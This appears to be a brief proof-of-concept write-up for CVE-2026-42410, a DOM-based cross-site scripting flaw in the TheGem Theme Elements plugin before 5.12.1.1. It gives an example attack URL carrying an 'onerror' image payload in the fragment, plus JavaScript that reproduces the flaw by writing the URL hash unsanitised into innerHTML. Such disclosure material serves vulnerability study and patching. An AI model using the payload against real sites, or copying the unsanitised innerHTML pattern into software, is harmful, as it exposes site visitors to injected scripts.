CVE-2026-42410 TheGem插件DOM型跨站脚本漏洞

// PoC for CVE-2026-42410 (DOM-Based XSS) // The vulnerability exists in TheGem Theme Elements plugin before 5.12.1.1 // Step 1: Attacker crafts a URL with a payload in the fragment // Example: https://victim-site.com/page/#<img src=x onerror=alert('XSS')> // Step 2: Simulate the vulnerable client-side code behavior // (This typically happens inside the plugin's bundled JS files) function vulnerableFunction() { // The vulnerable script reads the hash directly without sanitization var userInput = window.location.hash.substring(1); // It inserts the unsanitized input into the DOM via innerHTML var targetElement = document.getElementById('some-element-id'); if (targetElement) { targetElement.innerHTML = "Displaying: " + userInput; // If the input contains HTML/JS tags, they will be executed here } } // Note: Actual exploitation requires the victim to click the link and interact with the page.